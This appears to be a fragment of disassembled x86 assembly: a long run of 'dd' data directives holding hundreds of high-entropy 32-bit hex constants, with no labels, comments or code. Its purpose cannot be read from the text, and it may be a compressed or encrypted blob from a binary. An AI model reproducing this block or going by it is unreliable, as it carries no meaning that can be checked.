		dd 5D102B07h, 0D2544EF6h, 0BCF629BCh, 0BC7AFA59h, 0C95600C0h
		dd 85897865h, 0B1972135h, 0FA60531Eh, 4FD59259h, 0D060345Bh
		dd 0BD03F0C1h, 5633CA9Fh, 0C8F7C9E5h, 77F118h, 0F670412Fh
		dd 0BD21A1FBh, 9A976212h, 0F18065F8h, 71FE0BA0h, 614F6300h
		dd 0DF3999C4h, 187F091Fh, 465E5B32h, 1CB59F5Eh,	1AB6700h
		dd 2D38833h, 0B529E543h, 0F3D52139h, 7BD17862h,	25DC1410h
		dd 0D429CB09h, 3544E871h, 67D38140h, 348372Bh, 0B70FC21Ch
		dd 62DF5CF8h, 20D6E1FFh, 39F509DCh, 0B371F203h,	7F041642h
		dd 7778D573h, 0BFCC3F84h, 60D53D09h, 98DF7E98h,	1F66C400h
		dd 0CEADEB7Ch, 2690AEh,	54C7874Fh, 58D5B5A3h, 386544B7h
		dd 8ACB61F7h, 3E011EFh,	3B87BF09h, 9946EE71h, 496D9722h
		dd 0FF763AE0h, 90672E6h, 60CFB7EFh, 12DCF656h, 3030A825h
		dd 97E3037Ch, 0CC89500h, 2864884Eh, 0C5582C07h,	0D03D96C2h
		dd 20619563h, 0C8A1A483h, 0B899D46Bh, 1A874B1Ch, 0DDB9D8C4h
		dd 5DAD4821h, 0CA81969Fh, 0F3B3BB66h, 0C8D19A6Bh, 0AE9FC01Bh
		dd 0DE09013Ch, 71546BA3h, 9516BAC4h, 90244491h,	52B251h
		dd 0C7B338BAh, 0A8B530h, 63B6B160h, 22FBB9EAh, 545D8E07h
		dd 50145F21h, 0F80014B2h, 66DDE9C3h, 8B0F9486h,	5E1E0403h
		dd 5BD9093Bh, 0C0A0CD90h, 99B05934h, 530DACF6h,	4A6FB4F6h
		dd 405D5D60h, 0F70B682Ch, 183A7A30h, 3FD1EA0h, 5C755762h
		dd 0FAA9718Ah, 0CB012A4Fh, 3A653308h, 9995F640h, 27D9820Ah
		dd 6E90BD03h, 0A2BB98D0h, 4C381C9Dh, 527D00C1h,	5F4903BEh
		dd 0B2751102h, 55615983h, 35D501BAh, 4B7E00A0h,	2518E875h
		dd 1E1F781Bh, 0DB0E12Ah, 260954C8h, 0A57CF985h,	809FFE66h
		dd 0E99D230Fh, 73C9284h, 0F78A5260h, 0FDBD8258h, 2E61C849h
		dd 1238C336h, 0E1C145E7h, 0E088378Dh, 12B79EF2h, 5758C49Ah
		dd 0B2751290h, 12F64BAEh, 50A845F0h, 0EA601B02h, 0D85E35B8h
		dd 0A59A95ECh, 0C3407AFCh, 19D29130h, 8089A4F8h, 2B7821BDh
		dd 9A5EEBCBh, 704996B8h, 0CB7170FCh, 8EF0FE88h,	0AE15505Fh
		dd 399FBCF8h, 0E3BE3BBh, 50528DCBh, 0E849689Ch,	0F544B1Eh
		dd 0DD3B041Ah, 906A4C84h, 54EBB667h, 0F94B8BE2h, 8D2A318Dh
		dd 0D11760C7h, 60AA104Fh, 38F48096h, 6FBFDD00h,	0E4E801DEh
		dd 50EF167Ah, 9CDEEEF8h, 40911085h, 0FA455E33h,	0FD001555h
		dd 8293B167h, 49B675D1h, 1CB89E0Fh, 1712008Ch, 792A61FDh
		dd 0C00FECA3h, 20A6E380h, 0F05EDB81h, 0E33B4A47h, 0D96BD37Dh
		dd 323F6800h, 29A5BF64h, 89715002h, 560D4D8Dh, 1F01727Fh
		dd 0EEA58D29h, 0ED9D0B54h, 21E92760h, 7D2019E4h, 4767952Dh
		dd 58779374h, 7B008AAEh, 0AB7962D7h, 26060963h,	0DE135B53h
		dd 9149ED00h, 68747169h, 0FB9AC92Eh, 7F445671h,	0D3D61053h
		dd 4B6AF9B4h, 0D34505B3h, 5E7C383Dh, 0F60517B9h, 3017B247h
		dd 4B25C67Fh, 9F3ECE9Dh, 47E9B7Ch, 0BF0F9885h, 506BAEDEh
		dd 0D2001C23h, 0A095BFA3h, 177D028Fh, 759D096Eh, 0FF5E5A4Ah
		dd 5C1BA9E2h, 0DE08EA68h, 23E2E800h, 1F6DC559h,	3B392CFDh
		dd 30DD0CF0h, 0F9868F7Bh, 500104F9h, 0BF4CC8BBh, 75C25E4Dh
		dd 709B9109h, 2BB5576Fh, 90801D91h, 372ABF32h, 340EB905h
		dd 74BAC8D4h, 0A0F1F615h, 174CFD58h, 0C8A38994h, 0F8957CEBh
		dd 46B0662h, 80910346h,	5797400h, 0BD2BCC33h, 0A30B5B2Dh
		dd 0FFB693C7h, 0ED7B78A0h, 7F603605h, 2AC47093h, 42EAA5C4h
		dd 0BAF6EF85h, 5B69D15Ch, 0FB097106h, 0E507598h, 0A49110BFh
		dd 4A87FDEh, 85EA17D9h,	0A11DBF97h, 0C54A3351h,	497BBBF4h
		dd 7A183700h, 2E0315FBh, 0CF39A913h, 3F01938Ch,	0A3DB11B5h
		dd 719D084Fh, 0C7642505h, 490EFD21h, 884FA859h,	0BD290213h
		dd 6A241221h, 4B66FAAh,	1DC50D3h, 2100F0F2h, 0F8B6042h
		dd 7900F981h, 0CE22BB10h, 2E5CE6B5h, 90B69ADh, 0AE735301h
		dd 0DA181659h, 0E4D3B42Fh, 20640F11h, 0E9D65DB2h, 0E9DAD23Dh
		dd 0B0716D80h, 9B731E1h, 27095D40h, 6275280Bh, 1E15D790h
		dd 5DC7F640h, 66180513h, 0FC3CA96Bh, 0CE1F25E9h, 409AB4DEh
		dd 4BD551A4h, 421BFA03h, 0B89EDEA2h, 955FDB80h,	3B670BD9h
		dd 0F47FDC0Bh, 0D5142690h, 580782Ch, 860F5652h,	0C14E35E2h
		dd 3A0BBBBBh, 92148AC4h, 921A58D2h, 19236F6Eh, 56F89A25h
		dd 0BD0B60E8h, 0C5A52D11h, 79F3878h, 405BD92Fh,	293320FFh
		dd 2340F985h, 51CB0481h, 0B81A9E18h, 79FCC9D8h,	2E330077h
		dd 4A969A59h, 0FD15C00h, 0E297BAF7h, 0A08302C8h, 0CBB5E5ADh
		dd 7D51EC5Ch, 82779F2Bh, 8330BA06h, 20895BBh, 2757F7B1h
		dd 35573BABh, 801791FAh, 34AE87C0h, 21B52A29h, 0C18995B9h
		dd 0B3C0514Dh, 168949F3h, 0BC2B1D95h, 36E9F1D8h, 2B62B12Bh
		dd 5980C09Bh, 3B37CCFCh, 0C36BFA25h, 0A0635A30h, 0C1498B8Ch
		dd 1F65BC49h, 1256C588h, 4BCE343h, 0D49B531h, 0BBD740AEh
		dd 774F99F9h, 949B6EEFh, 567EF481h, 0F0C8CCBFh,	81F241E1h
		dd 98A72B21h, 0AACDFBE0h, 81C28C00h, 0B99850EBh, 5F6D9A59h
		dd 0C828CF04h, 0DACEC01Bh, 0AF2C147Ch, 0BF019F75h, 58CD7FF9h
		dd 0F05D9540h, 8CB79F30h, 80585C80h, 0BFF3CBBDh, 4F5B4A10h
		dd 70D76901h, 67534BCCh, 2E802D6Bh, 81041E13h, 0C0161A9Dh
		dd 0D98B507Bh, 0F43FDC9Fh, 7DF8F104h, 0B6FF6A9Ah, 7ED1E0CAh
		dd 0AC181D29h, 7B2F84FCh, 41B682DAh, 4D9F60C4h,	0B65E186h
		dd 0D92A600Dh, 0E6F2145Ah, 0A8C0B9D2h, 3FBA9716h, 0F635F7h
		dd 740C2E5Ch, 0CB00C005h, 8B1E3E94h, 0BDD1FFDFh, 0D68E54h
		dd 618821D2h, 5AFC9F4Fh, 0E7814301h, 0A301D7Bh,	6949282Fh
		dd 3846C08Ah, 201098B2h, 6A271905h, 3790DD02h, 81073C2Eh
		dd 2A8864E8h, 3023EBF0h, 95312B1h, 5B68F48Dh, 0D8262693h
		dd 40120F60h, 30E9034Ch, 0FA667947h, 22D9B0FCh,	57293BD6h
		dd 0AFCCCB1Ah, 0E00936CAh, 790C9FE9h, 0F0676232h, 2A3DFE11h
		dd 0AD019BB8h, 0BD89ED7Eh, 0B22B3105h, 769AD756h, 4B07F296h
		dd 0D700B4F2h, 0EA48AC84h, 23002D50h, 37951452h, 1F180B0Ah
		dd 6787BEEEh, 62003A64h, 4826CC7Dh, 0CBA12254h,	0BCF4F8E6h
		dd 106ABF81h, 642F673Eh, 4B20AF54h, 32D3CFAh, 968C1E17h
		dd 19000AE9h, 0E57FE2ECh, 96B534Fh, 5F39ED64h, 684F4D79h
		dd 8416530Ah, 0FBF86ADAh, 21E48D27h, 0EF022D27h, 68BA40CAh
		dd 0EE95FAE4h, 1382027h, 0BDEAB070h, 0E68368B5h, 0CF810270h
		dd 2EEF3A1Ah, 0EEF2DF8Bh, 0D871E425h, 0F31E4AA4h, 1121027h
		dd 0AEFAC464h, 3A39ED89h
		dd 1A271288h, 65526046h, 0BCE5B51Ah, 49103508h,	0BCD8C284h
		dd 9D230D0Eh, 2B4B05h, 0DF8056F7h, 0E4955F76h, 0EF09202Dh
		dd 0B470BBEEh, 2D95290Dh, 2DEBFB20h, 10FD6069h,	15FB7AAh
		dd 99CD587Fh, 0D7C4D5D0h, 2C2E3CB0h, 8DAAEB62h,	0BB610508h
		dd 86765CA3h, 0B298D18h, 0D40485BBh, 0A0D61119h, 0BD02A4A6h
		dd 8C981707h, 12315EC8h, 80ABBCF8h, 764E929Ch, 47860DABh
		dd 0C22441FFh, 80EB4E57h, 0C82459C6h, 50A44FD9h, 0E252C913h
		dd 602436E3h, 13590B2Dh, 0BCC092F4h, 77F4104h, 0BBFF09CAh
		dd 37DAD00Dh, 9197615Eh, 8714204Eh, 0BD3B841Eh,	11F1904Ch
		dd 0E54C0DD1h, 8042DA58h, 30ECFC25h, 5D6ABA2Dh,	83821C37h
		dd 5575D543h, 40DF8612h, 3A9ED2E0h, 8D84A697h, 0B1A4CDA5h
		dd 6166A79Ah, 0BD6F22A9h, 0E3A69BA5h, 850D2504h, 35B913A2h
		dd 0BD29B3A0h, 0C4951DA9h, 751BA6F2h, 0F352009Ah, 1D2E2F5Eh
		dd 610FB5DBh, 0A5D4BCF2h, 9704FC0Ch, 0B4AC34A6h, 0ABD6F390h
		dd 25F5DB98h, 4AB7D22Bh, 0A17C5D00h, 3ABA20DCh,	0E0CFCF8Ah
		dd 604A9181h, 9AB5E9E9h, 0D494C162h, 0F9418E68h, 0A34923DDh
		dd 0E96E0FD9h, 905DBCA7h, 0C8FB4BF3h, 9D4B3307h, 9D5B54BDh
		dd 0CA300F65h, 391AEFEFh, 6D1C5CA5h, 0ABFA04C8h, 0F528D62Fh
		dd 0FF9D27EAh, 0C700E2B7h, 0A1622F02h, 0EA87FC8Ah, 8D290BC9h
		dd 175E08B1h, 9143671h,	305FD991h, 61B2F326h, 7BCF0A28h
		dd 0E0342EA5h, 7A00B4E2h, 98FF4887h, 9403EAE4h,	0AC4BA77Fh
		dd 99969861h, 9E1FCCBh,	24C58531h, 171905Ch, 0A799AC14h
		dd 9070B6FFh, 936DECAh,	0AC908B13h, 459F7050h, 0BC8608A2h
		dd 2A8F8A7h, 3142D381h,	445C6E01h, 0DC235C69h, 5E92BE4Bh
		dd 8DE02C5Eh, 9E9D224Ah, 0F7393830h, 0D6B5F22Ah, 47A8EBADh
		dd 83A65B02h, 2011E8E6h, 5DE26A0Bh, 0B1C88003h,	0B003276Eh
		dd 13B44A7Eh, 4969443h,	21B8533h, 0CC890F5Bh, 11D12092h
		dd 0C1B75017h, 0F1E65353h, 0BCE809E3h, 0E4048766h, 37CB913Bh
		dd 8613C8BEh, 0C3AD1E04h, 6BA2600Ch, 0BD750E00h, 82561B6Eh
		dd 1CEF3605h, 76BCDEBCh, 1309CD10h, 39B95B61h, 32902BE9h
		dd 56B9468h, 880F7885h,	88E8B812h, 8DE8940Ch, 0BAC55480h
		dd 5325D47Dh, 6B1C605Fh, 789A2768h, 1B0F1B37h, 1A66204Dh
		dd 2C9D2BDEh, 44690BADh, 0D8EBA8FBh, 9715D51Eh,	0EA745E3Ah
		dd 78EA02DCh, 93CB805Ah, 1241AA82h, 0D7ADE902h,	745AE7A9h
		dd 0E01E4D9Dh, 0DC3631B3h, 4A9ECF16h, 26259CBCh, 8E91B74h
		dd 3D128425h, 17AC23B9h, 86DC098Ch, 6D7133B2h, 0D7BD8992h
		dd 568B6ABDh, 0DD517558h, 0C872DB6Bh, 0AD98C01Ah, 0D712838Dh
		dd 8AE17BDAh, 11B89B39h, 9BE1BA1Dh, 24902E26h, 0D958962Dh
		dd 4A4AA23Bh, 0DB870CDBh, 0D98F103Ch, 902E5C7Bh, 0E16028D7h
		dd 9C6A41Dh, 0DDCB47D2h, 1B8C8A7Fh, 7A1746D4h, 3EE7BD13h
		dd 2920C9BCh, 0F6386800h, 50609CE3h, 6449752h, 5FE260BFh
		dd 34440398h, 0C89CBADAh, 0E5BDF0DBh, 19BDE800h, 3921BF80h
		dd 61A5BC67h, 0C70935D0h, 71633B0Dh, 0EF87BEF9h, 90FFC97Ch
		dd 5E80BF90h, 50056817h, 9950BCBDh, 0B70F4A59h,	0D6C84ADFh
		dd 1CDB7B6Dh, 8043C822h, 94280B7Ah, 0FB5B2EA5h,	1C26EBEh
		dd 89793565h, 996C2D9Dh, 63EB8101h, 2E150ACAh, 328CD2Dh
		dd 15393F80h, 8B74B6A9h, 0E0895312h, 0EA96DFB2h, 669B0CC4h
		dd 9637C1C0h, 0AB2563EDh, 10C8C6F9h, 0EE1675BDh, 55FB3D6h
		dd 0E1958952h, 0FE4095E9h, 0A80B4B1Dh, 0DE85B192h, 0E1BB9A50h
		dd 65DF2971h, 25CC66B3h, 33823298h, 0F4DC4EC2h,	67AA6092h
		dd 1882E214h, 0DA773875h, 30C1005Ch, 0A281B6EFh, 2800D89Bh
		dd 9094953Bh, 4B86AA3Fh, 2B85A1E0h, 22F99074h, 2C0BF8A8h
		dd 923AC8Dh, 69105C1Eh,	5413158h, 4AEDF220h, 8757B229h
		dd 4B4E2C8h, 0BED273B9h, 1919186Ah, 0FAD17446h,	0F9A2FD12h
		dd 0E3C16050h, 1FBB1005h, 30773E0Bh, 0EBBF6602h, 58D7613Fh
		dd 203190BFh, 1EC515D9h, 0BC60123Eh, 1216D381h,	0E123B64Fh
		dd 0B19E3B59h, 0AC0871C6h, 0B5061D20h, 1401ED4h, 203A219h
		dd 9042F14Dh, 3441EE9Dh, 0A66314ADh, 61462A53h,	9D5F4BB9h
		dd 0A810292Fh, 8A1B0082h, 97FE3946h, 121C4506h,	19649D33h
		dd 0EBED51ADh, 0C2045170h, 0E7EB8004h, 0E65BF7ACh, 7EFAE087h
		dd 0BD3D041Ch, 8150E666h, 140F59BAh, 51C71BACh,	1E7199F9h
		dd 14F88A0h, 7C6ADF0Bh,	90E0DEC6h, 0A6F74B01h, 0DE8BCB27h
		dd 0E2D8996Bh, 0FC121240h, 71B16CB5h, 0B709EBDh, 94DE6096h
		dd 32B33540h, 387AB0h, 3B7E53F4h, 33BB4C93h, 46A3BD06h
		dd 13545061h, 0AB966959h, 0AC03B36Eh, 568778FDh, 6A2E9789h
		dd 2327B88h, 60183D19h,	0CD59CCC1h, 0EFA42400h,	7180345Ah
		dd 6A903A79h, 0BAD76303h, 60FBAE77h, 266E52A8h,	0E9234A24h
		dd 554B1269h, 560C5EFh,	0E4FF808Ah, 386E02BFh, 0F88B0788h
		dd 6418ED55h, 0E701601Dh, 0EE2FE2F2h, 0E8780988h, 54C05085h
		dd 5B4BBC2Eh, 15223F8Ah, 0BB170F90h, 0B2E01D25h, 9DC9B596h
		dd 1462DADEh, 818A3A52h, 925FBDD7h, 1914E5E1h, 361E4C28h
		dd 0BE58FA00h, 21804C49h, 4A4517EEh, 0F57C30A9h, 7500DF2Fh
		dd 0DB105954h, 0FEC2C1FEh, 0BD29EECFh, 32D57892h, 12F3DEE9h
		dd 0E3E1AC0Bh, 6E5D4F6Fh, 178E0008h, 34505B49h,	0F8944B06h
		dd 1659129Bh, 0DAB5E8ACh, 6252810Ch, 2101E4A6h,	80296D24h
		dd 9634E09Ch, 0C9180BBCh, 8B688589h, 6895C65Bh,	95C03096h
		dd 0F16E796h, 1DC80181h, 0FFF43872h, 0BAE6ECBh,	76B7E8BAh
		dd 0AD1812E7h, 802BF9A5h, 0FDBD2B32h, 0D49284Eh, 0E9A956DAh
		dd 8D4457CDh, 91804DE8h, 0A1D80A52h, 89BCE89Fh,	8B4DBD04h
		dd 1FD7EEE0h, 953028E7h, 2D7D2883h, 0B5CD8054h,	7108A20Ah
		dd 8B1C0059h, 0D0CB9C6Bh, 7944772Ch, 5376A600h,	269DB260h
		dd 0C975B48h, 7DFEE1D7h, 5330FF2Fh, 0C6217816h,	7BD6F504h
		dd 0C0AC8C93h, 80B39B5Eh, 3C22D199h, 518B8B5h, 39BE2A28h
		dd 0D9A54E90h, 0F88A57A1h, 0AF72A5Bh, 920E3CA6h, 0AB03F11Ch
		dd 4BCC438Ah, 0E064E64Ch, 13AEB03h, 811E12F5h, 45539A7Ah
		dd 0C349AFCDh, 0AB35575Fh, 22841591h, 0A4CDAEC8h, 5B99E930h
		dd 0AE62Dh, 86DEDAA0h, 7CCFFDCh, 333A91A8h, 7C6462FBh
		dd 0F6E9E656h, 958D465h, 0F0180060h, 0B1B3A269h, 0FD117FFh
		dd 5615D288h, 513D8977h, 51C644C3h, 0C7FC0357h,	8054F633h
		dd 5FAAA216h, 6AE4218Bh, 0F0992602h, 13CB71D6h,	0C15372D7h
		dd 0F63D8988h, 8400DBC6h, 2723B063h, 72D75FEh, 0BB57C876h
		dd 6E3B110Bh, 66D92549h, 0DBDFF023h, 9BA704CFh,	0B8F6D2AFh
		dd 3DC78010h, 7B054E6h,	91E2D64Ah, 0F3A2FC4Ch, 37D76509h
		dd 5910735Fh, 28A181Ah,	0DD3D7CF9h, 30795E52h, 55F17600h
		dd 26AB425Ah, 125AA412h, 8420E3B7h, 0BB41FF87h,	3F512C4Ah
		dd 62A3C102h, 95DD705Fh, 0DFF0069Bh, 0DC12B85Ch, 0D64E902Ch
		dd 1EE0B250h, 4C7B508h,	7CD3527h, 0F5F11766h, 0F972AB64h
		dd 9618FD8Eh, 0BA951C39h, 9384DDD1h, 0B86A0F0Eh, 95DB9BDCh
		dd 255EEF63h, 9F1E88h, 454BAE74h, 80D6B885h, 0F35B87ECh
		dd 0B3E96020h, 60A57926h, 5FDFF228h, 8522095Bh,	0D931953Dh
		dd 0CDB7134Dh, 9DF709ABh, 0E65A3BF2h, 1EA17881h, 0CF25E308h
		dd 0E9DA6896h, 26458C18h, 11277Ah, 3E64669Bh, 6CC4EE01h
		dd 0BDFBA221h, 22B75D8h
		dd 0CF3CFCA9h, 52FD897Eh, 0C55F4A8Ch, 0DFF4BFF7h, 72A002Fh
		dd 0CD6D934Ah, 6800A25Ch, 3D3CEABCh, 5495311Dh,	955FAED9h
		dd 929513C6h, 608151E7h, 6779F64Eh, 3E140D0Ch, 12F2E09Eh
		dd 0AE611D4Ch, 3F91CE21h, 6DCE0414h, 6212B987h,	0D76C2921h
		dd 80054109h, 8B964591h, 84B9E8D1h, 0C3EAFCF2h,	93DA20C6h
		dd 0D63F6029h, 9F555C3Fh, 524C441Ch, 60DEB15Fh,	4FD65983h
		dd 13D1F805h, 0E4225AEh, 0B816F128h, 9310C842h,	8526A889h
		dd 0EDF35CE9h, 0B93C0316h, 2B9D8E39h, 0C4375C12h, 76DCAB42h
		dd 879F0020h, 775A1817h, 0F12F0CEh, 0D9B6DC1Ch,	0CA143C64h
		dd 0C37900AAh, 0D1869D78h, 1ACC0071h, 758F289Ch, 0AED04A84h
		dd 128D497Dh, 0EEB6A8C1h, 507BEF10h, 5EBDE564h,	0F8608CCDh
		dd 7516DB34h, 1CB96190h, 0A851ADD3h, 0BD765028h, 0B90140B1h
		dd 4F10A02Fh, 0BF644082h, 8295926Ch, 200CE8F3h,	3A7EF057h
		dd 3E300A00h, 7B8F0E82h, 0FC5B277Ah, 0E27065FBh, 0DC800FB1h
		dd 2F78FD1h, 0D9D23F1h,	5E845AF5h, 0A96512BDh, 8C14A8ECh
		dd 66BA6A25h, 0E9C71218h, 0F809E23Ah, 0DBA9064h, 2D8501A4h
		dd 0CD6E3AC5h, 2DABB300h, 5626025Ch, 53B1E717h,	0D5FD702h
		dd 4F7A7988h, 9AC8BBF7h, 4AE77180h, 9DEFD85Fh, 4B874974h
		dd 36704AFBh, 5DE102A4h, 75A081Dh, 9DCCFD4h, 5C1F8633h
		dd 2E2AB7E1h, 8B1F0738h, 0C5ADA7Dh, 0BD08C5B7h,	1053230Dh
		dd 1222812Eh, 0F0B2E1FFh, 0F9890988h, 44F259FCh, 0CDE65615h
		dd 0C4826AE1h, 0DD0B6BAAh, 0F0036FE0h, 6D719DDDh, 975FA9C6h
		dd 919DB84h, 0F8B77560h, 0BD06BF02h, 0F5AC956h,	448D3111h
		dd 5B35AC07h, 0D5E0BFF6h, 6A35967Ah, 90E560CFh,	0C0B99E6Ah
		dd 273F43CDh, 0CAAB2DDAh, 9D3CD8h, 0BF62486Ah, 4B4A7710h
		dd 0F36E9208h, 2AF9FC91h, 64AC8134h, 582744D3h,	6D03813Ah
		dd 0F500025h, 0F2A49587h, 9A30EB60h, 273829BEh,	0E2DC0ED1h
		dd 0C03A4DA5h, 840EC961h, 0E1BCF517h, 601E604h,	0FE8A5201h
		dd 0AC58BA5Fh, 0E3000CDDh, 6822CE2Dh, 609C073Eh, 0DC6CB7C7h
		dd 6717C180h, 0D9A638BEh, 590BB1E0h, 29C55D0Eh,	0DB00D1E8h
		dd 0E9FA21D4h, 0E50AF1A6h, 920CF781h, 181B3D08h, 33F50E5Bh
		dd 4024799Dh, 4E62EF81h, 9FBDBBB8h, 971C919Ch, 1E8121A8h
		dd 64BC19D3h, 0E9E89C94h, 12D4A75Dh, 77ADE2B3h,	0AC08C3CEh
		dd 4A8D8ECCh, 4E56B707h, 74AA2412h, 0C4BADA43h,	9BBF68Eh
		dd 0B7778995h, 573685E9h, 99D1C1E9h, 2E5B26E7h,	482F2129h
		dd 0B044657h, 965FF952h, 6700B4D9h, 0FC9744C9h,	70EE0992h
		dd 71F47BBDh, 0B7310F8Eh, 0DACF2FA1h, 0E0C34D96h, 0CEA1FEBBh
		dd 8F80FA13h, 655921ECh, 167A74Ah, 0ECD268D8h, 0CD3E79A4h
		dd 0B6F03ADEh, 4DD83DA6h, 0F5A00F0h, 1F3816E6h,	0D07F1DEh
		dd 564119EEh, 0BBA687DBh, 5E61F2D2h, 0EF2D0F63h, 9153792Bh
		dd 100FB870h, 0CFAE2B54h, 6B807F6Ch, 81DEEF68h,	0E503003Ah
		dd 61F1EA4Bh, 0B65A7856h, 1CB2E5A6h, 1619330h, 0FF883E0h
		dd 2BFC8294h, 0DB2A06A1h, 7EDFCB24h, 34CD09FDh,	0DFEBAA56h
		dd 32E38EE7h, 0AF08003Ah, 0B529612Ah, 47B51C81h, 910A5CEh
		dd 0B809C65Ah, 59F95F61h, 0AA524420h, 70C239DEh, 23547A40h
		dd 0E998E82Dh, 0FB54D643h, 0ED80C49Bh, 86672CAAh, 0C944DB04h
		dd 12EA38EBh, 0EEC0A81Ch, 0A06DA693h, 0BAACAEh,	804892FEh
		dd 0FC5C51CDh, 6525D0B6h, 40E090Dh, 993BDDDh, 5160F0Bh
		dd 7347E46Bh, 9AD37074h, 4097E800h, 23FFD95Bh, 0BF660164h
		dd 0CF80F3A7h, 2AB26A37h, 7C0131A8h, 9C010A35h,	92E39D79h
		dd 199CD559h, 75603CADh, 1F75A98h, 0F37CC71Fh, 3E602740h
		dd 20316633h, 0F5B00964h, 0F992F3B6h, 9A160AAh,	862758Dh
		dd 75198C29h, 4AB76B8h,	8807E4FCh, 7D0A39AAh, 0B22DB960h
		dd 0D80716A8h, 5F7809F4h, 80AF7171h, 89B65EF0h,	0E237BD34h
		dd 68FE5080h, 25BD8B08h, 0DCDC1F6Dh, 2F3E87C0h,	0F7124F0Eh
		dd 72C92CB3h, 645E6DA5h, 0D3AA601Ch, 0FE54E665h, 4EDA2DB0h
		dd 0C9A11F08h, 6625E77Ch, 0B0319047h, 22BA9508h, 2DCC2D4h
		dd 0CB925BBh, 0B5D5E4B7h, 80169134h, 150D648h, 952170BDh
		dd 0CD9F5F64h, 2AD2C35Fh, 4449EE38h, 6E205B50h,	46A900C6h
		dd 0FDABA39Eh, 8C2E4B2Dh, 2997FC7Eh, 48BD7F7Ch,	5BA2C105h
		dd 811D25FEh, 2B101536h, 19236F6Fh, 78D04600h, 3C376160h
		dd 5009D781h, 9A73300Bh, 0AC22F188h, 513F0945h,	302755F0h
		dd 0DE865CE6h, 0E43BA901h, 62982D6Fh, 4F0ABD20h, 0F0A5C668h
		dd 0AB98DA4Eh, 110E78Ch, 304ADD95h, 25B6CB7h, 54C61D12h
		dd 58511F5Ch, 0C0F89E2Fh, 0AD5B68Bh, 96A21EA1h,	5FFE0452h
		dd 83E1B850h, 0B8D1A4A6h, 5616B27Bh, 0E8F0F896h, 890AC649h
		dd 0F32A2D95h, 423AD552h, 15504EFBh, 86C20289h,	0B70147C8h
		dd 0BDC19B5Eh, 0DC6A0D95h, 719F6025h, 5B28905h,	31195882h
		dd 4EB86104h, 197D62A2h, 2D2E2254h, 0B79A6F2Ah,	59B09983h
		dd 7F148CF8h, 348A2748h, 0F70B69C6h, 0C03DD424h, 0D99E3C1Dh
		dd 710013F8h, 6DDC97Eh,	0B646E8E3h, 0BC154069h,	6D005E01h
		dd 0B0B6ACAAh, 0F0C4F5FCh, 5FC82DA8h, 0F5C9E551h, 0B8090784h
		dd 0F42A563Dh, 738364C0h, 819900CBh, 8520B6EFh,	0C14D8B05h
		dd 1260BCBBh, 0E7DE1096h, 0AC634D38h, 0C6620132h, 99BD2970h
		dd 0F150020Dh, 0C9E01E22h, 0FDC4ADh, 7FD26EEEh,	0F7DF4F15h
		dd 0F0CCB004h, 2516395Dh, 155F054Eh, 0F144AA85h, 0BB20107Dh
		dd 81330E7Ch, 0B731EA5Ah, 0AF82DD29h, 0FD0B1CD9h, 2812460h
		dd 5040819Eh, 162FBE60h, 0FA1F4982h, 1E5E3888h,	156801h
		dd 4980E47Eh, 0E90B172Eh, 102D359h, 5A5B9768h, 0E64F783Dh
		dd 0FC37E34Ah, 0E90002E2h, 0C85C1381h, 580009CDh, 0C004DD27h
		dd 5F8B90h, 124CD3E3h, 0B99D232Fh, 6A62C99Fh, 0B8EDE96Fh
		dd 0E5540331h, 0BFC226F6h, 289DB3B8h, 22EB801Ah, 0FF0AC052h
		dd 458D1229h, 0B4F1A80Bh, 75A108E6h, 0EDEE31AEh, 10742EC9h
		dd 6CA85BBDh, 1252490Fh, 7A7280A5h, 0F4BD896Dh,	57568021h
		dd 0FF5B5F0Ch, 4BC074D1h, 7D148A8Ch, 904DD8Ah, 0A1C0130Ah
		dd 16AE4F7h, 87EFBF02h,	2A9053D5h, 0F7F5C720h, 0FD8F1620h
		dd 2D64B929h, 0C07DCD90h, 1D01ED9Ch, 94A5990h, 7189ACE8h
		dd 0FAFEBFA9h, 56FA0FC9h, 1F1760BEh, 0A512ED58h, 540BFF6Dh
		dd 71065686h, 7E8E213Bh, 929DAB72h, 0DC4D75F1h,	0AE611464h
		dd 0BBB62A90h, 4D96884Fh, 7E1B9600h, 0B39DFF33h, 0ABC8129Ah
		dd 816C9B90h, 242BB70h,	2DC881ECh, 125E9AF8h, 0FCCCF6A5h
		dd 0F30E7E12h, 16AD080Eh, 293039AFh, 35DA8D8h, 2894ED01h
		dd 309129D7h, 17342EA5h, 61638DAEh, 61F9F9EEh, 2931E9C7h
		dd 6BE8FEh, 3C63B023h, 0F1A8AC64h, 166F41B5h, 3E18282Eh
		dd 10F65C8Ah, 5AB03807h, 63AC0B20h, 50E002D8h, 0A9E6E883h
		dd 3DAA657Fh, 630C70ACh, 44B09EB9h, 0F80039A8h,	0E56CC8F5h
		dd 0B871E45Eh, 97FF4BEEh, 3B515930h, 9286D70Fh,	258015E0h
		dd 0FD6440F7h, 0C9A711BFh, 7784F8h, 0C17F1EC8h,	0EA65C71h
		dd 0B4282B0Bh, 99C02E9h, 0A98B5F85h, 9D2B1AB0h,	64B5917Bh
		dd 39529523h, 27A37A9Fh, 6E78C82Bh, 2925D1F0h, 26C0D285h
		dd 621AA9E9h, 68E409FDh, 554C5009h, 128ED747h, 81F7B052h
		dd 0D0E9DF0Fh, 8612FB54h, 0D8A94A96h, 0BB8818F1h, 0F8680294h
		dd 95015024h, 129FD8F5h
		dd 316DE95Bh, 2A20ADD9h, 0B54CD99Dh, 0CC1B006Ch, 42E7D104h
		dd 0B1E0E5F6h, 48031197h, 4A879C7Bh, 1996CB1Ch,	0A2F5807Ah
		dd 3FD91B47h, 0EAC7007Dh, 66021C15h, 404BF3Dh, 5B6D9184h
		dd 19EA28AAh, 95145F99h, 0C0079487h, 4E783EE6h,	81ED021Ch
		dd 84FB2B2Fh, 20676E55h, 50C48C8Fh, 3FF818C1h, 4A9C89Fh
		dd 0B80DE027h, 0C35970Bh, 0AB871D91h, 2556E3FBh, 54D6F097h
		dd 28E9B920h, 0DA8B0F09h, 0F772F851h, 5B71301Ch, 31FCE1FAh
		dd 0D6D7854Fh, 0C20E4D7Bh, 52515A47h, 2063F400h, 0F6ED3Bh
		dd 0BA1F745Eh, 0E414236Fh, 2F5E0358h, 0E435AE0Eh, 2B060A65h
		dd 0D92210C0h, 0DBD24A14h, 7CDA4FDAh, 6A00A289h, 0B356FC7Ah
		dd 645B9F25h, 8FDCB7B1h, 10DD2DD6h, 129548CCh, 2D97F0C3h
		dd 685C429Dh, 50BE037Dh, 0E8A8E951h, 0C0F61C26h, 489F5B90h
		dd 9D381DDh, 47F44DE7h,	7544AB59h, 4768AAAh, 6B8FDB81h
		dd 85B888C3h, 0C2ECC8A9h, 3FBFAD1Dh, 0B49C6642h, 444AE88Dh
